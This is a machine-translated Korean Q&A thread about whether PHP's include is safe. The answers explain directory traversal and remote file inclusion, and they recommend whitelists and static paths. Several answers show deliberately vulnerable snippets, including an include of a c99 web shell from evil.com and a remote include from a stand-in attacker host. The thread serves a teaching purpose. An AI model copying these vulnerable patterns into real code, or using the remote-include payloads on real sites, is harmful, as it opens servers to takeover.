2012-04-13 6 views
7

내 웹 사이트에 헤더 또는 세션 클래스를 추가하려면 "포함"기능 (e.x. "include 'header2.php'또는"class.users.php '포함 ") 을 사용하고 있습니다. 나는 정말로 기억하지 못한다. 그러나 해커들이 어떻게해서 든 악용한다고 들었는데,이 "include"것을 포함해서 가짜 페이지를 보내거나 이와 비슷한 것을 보낸다. 그래서 기본적으로 "포함"기능이 무엇인지, 어떻게 보호 할 수 있는지, 어떻게 악용하는지, 내가 찾고있는 것에 대한 더 나은 해결책이 있는지 알고 싶습니다.PHP - "include"함수가 안전합니까?

미리 감사드립니다.

+0

사람이 귀하의 서버에 PHP 코드에 액세스 할 수 있습니다. 이미 훼손된 것을 확보 할 필요가 없습니다. 대신, 예를 들어 모든 응용 프로그램의 SQL 주입 취약점을 수정하여 진입 점을 마무리하는 데 집중하십시오. – Blender

+0

요점은, SQL 인젝션뿐만 아니라 'include'something.php ''가 안전하지 않거나 해킹 가능하다고 들었습니다. 사실입니까? – user1327735

+0

잘못 사용하면 악용 될 수 있습니다. 정적 PHP 파일을'include '하는 한, 당신은 그 영역에서 정말로 걱정할 것이 없습니다. – Blender

답변

13

모든 방법은 구현 방법에 따라 다릅니다. 특별히 경로를 설정하면 안전합니다. 사용자 입력이 위생 또는 점검없이 파일 경로를 결정하도록 허용하면 공격이 발생할 수 있습니다.

안전하지 않은 (디렉토리 순회)

<?php 
include($_GET['file']); 
?> 

안전하지 않은 (URL fopen - 활성화 된 경우)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

안전하지 않은

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

부분적으로 안전하지 않은

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

안전 (사람이 이런 짓을 했을까 왜 확실하지 비록.)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

안전

<?php 
include('./includes/somefile.php'); 
?> 
(* .PHP 파일은 취약)
+0

[this] (http://stackoverflow.com/a/599694/2302051) 안전한가요? – MahdiY

1

안전 제공 포함합니다 당신은하지 않습니다 :

  1. 는 클라이언트에서 온 경로에서 파일을 포함
  2. www.someoneelsesssite.com/something.php 같은 원격 파일을 포함합니다. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. 데이터베이스와 같이 오염 된 소스의 파일을 포함하십시오.

2와 3은 기술적으로는 . 또는 /거나 창을 허용하는 경우 당신은 아마 괜찮 \ 있다는 경고가 있습니다. 그러나 왜 그런지 모를 경우 위험에 대해 충분히 알지 못합니다. 데이터베이스가 읽기 전용이거나 그렇지 않으면 안전하다고 생각할 때조차도, 당신이 정말로해야만하지 않는 한 그것을 추측하지 않는 것이 현명합니다.

pp19dd의 대답은 다음과 같이 지적합니다. 또한 .php 확장자로 include의 이름을 지정하는 것이 중요합니다. 아파치 (또는 사용중인 웹 서버)를 PHP로 다른 파일 형식을 구문 분석하도록 설정 한 경우에도 안전합니다. 그러나 확실하지 않으면 .php 만 사용하십시오.

include($_GET["page"]); 

다음 URL을 호출 : 당신이 뭔가를 할 경우

+0

'open_basedir'는 놀라운 일을합니다. – Halcyon

+0

@FritsvanCampen은 동의했습니다. 그러나 일반적으로이 질문에 답할 필요가있는 사람은 어떤 종류의 위험을 감수 할 준비가되어 있지 않습니다. 코드의 일부가 '마법'이라면 위험을 감수해야합니다. (마법으로, 당신이 이해하지 못하는 기계공을 기반으로 작동한다는 것을 의미합니다) – DampeS8N

2

는 악용 될 수 있습니다 포함합니다

myscript.php?page=index.php

다음 hxxp://hackerz.ru/install_stuff.php에 대한 index.php을 대체 할 수 있으며, 서버가 기꺼이 실행됩니다

공격자 그것.

자체는 안전합니다. 입력 내용을 항상 확인/이스케이프 처리하십시오.

1

가장 좋은 방법은 포함하려는 페이지가 먼저 존재하는지 확인하는 것입니다. URL 변수와 같은 일종의 사용자 입력에서 포함 페이지가 처리 될 때 실제 보안 허점이 발생합니다. ?include=page.php 이들에주의를 기울이는 한 괜찮을 것입니다.

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 
+0

이것은 당신을 아무것도 보호하지 않습니다. 당신의 패스워드 파일은 파일이고, php.ini는 파일이고, 공격자가 발견 할 수있는 모든 것은 파일이다. – DampeS8N

+0

@ DampeS8N : 나는이 일이 유일한 일임을 암시하려는 것이 아니며 단지 그 과정의 한 걸음이었습니다. 또한 다른 코드 인 "사용자 확인 및 기타"삽입에 대한 설명도 포함되었습니다. 사용자 확인은 "회원"의 중요한 페이지에 액세스하지 못하도록합니다. 다른 코드는 파일 차단 목록 일 수 있습니다. 당신의 대답이 모호 할 때 당신이 왜 내 대답을 왜곡한지 모르겠습니다. – mseancole

+0

Directory Traversal 공격으로부터 보호하는 방법을 모르는 사람들은 어떤 조건에서도 파일을 동적으로 포함하려고 시도해서는 안됩니다. 당신의 대답은 당신이 할 수있는 최선의 일은 파일이 존재하는지 확인하는 것입니다. 관련 보안 정보가 모호하지 않고 빠져 있습니다. 나는 너를 해치지 않으려 고 downvote하지 않았다. 그리고 너가 필요한 정보를 추가하면 나는 풀어 놓을 것이다. 그리고 내 답변의 downvote을 제거하거나 당신이 모호하다고 생각에 대한 의견을 남겨주세요. – DampeS8N

3

포함의 가장 큰 문제는 가능성이 자동으로 웹 서버에서 실행되지 않는 뭔가 PHP에서 파일 확장자을 변화하고 있습니다. 예 : library.inc 또는 config.inc. 웹 브라우저에서 이러한 파일을 호출하면 코드가 실행되는 대신 코드가 표시되고 암호 또는 악용 가능한 힌트가 표시됩니다.

config.php과 암호가 같을 수도 있습니다 (config.inc). 대부분의 경우 config.inc를 실행하면 데이터베이스 비밀번호가 표시됩니다.

라이브러리에 .inc 확장명을 사용하는 프로그래머가 있습니다. 전제는 웹 서버가 액세스 할 수있는 디렉토리에 없기 때문입니다. 그러나, 더 적은 보안 편집증 프로그래머는 그 파일을 편리한 웹 디렉토리에 덤프 할 수 있습니다.

그렇지 않으면 쿼리 문자열에 의해 제출 된 파일을 어떻게 든 포함하지 마십시오. 예 : include($_GET['menu_file']) < - 이것은 매우 잘못되었습니다.

+0

+1 코드로 포함될 수있는 파일 확장명에 대한 좋은 참고 사항이지만 브라우저에서 별도로로드하면 코드가 노출됩니다. – DampeS8N

+0

"웹 브라우저에서 이러한 파일을 호출하는 것"은 무엇을 의미합니까? 공개 이름이 "example.com"인 서버가 있다고 가정 해보십시오. (1) 루트 디렉토리에 "a.inc"라는 파일이 있음을 알고 있다면 "http : // example.com/a.inc'"로 파일을 볼 수 있습니까? (2) 주어진 디렉토리에있는 .inc 파일이 무엇인지 모르는 경우 어떻게 알 수 있습니까? – Alan

2

서버 측은 (서버가 손상되지 않았다고 가정하면) 안전합니다. 다음을 수행 :

$var = $_GET['var']';  
include $var . ".php"; 

은 안전하지 않습니다.

include "page.php"; 

은 안전합니다.

+0

참고 :'page.php'가 안전하다고 가정합니다. ;) –

+0

확실히, 참조 된 파일이 신뢰할 수 있고 안전해야합니다. – Blake

-1

저는이 meth를 사용하고 있습니다. od.

+0

그게 효과가 있기를 바랍니다. 그러나 더 나은 대답을 위해서 실제로 설명 할 수 있습니다 ** 왜 이것이 효과가 있는지 – jean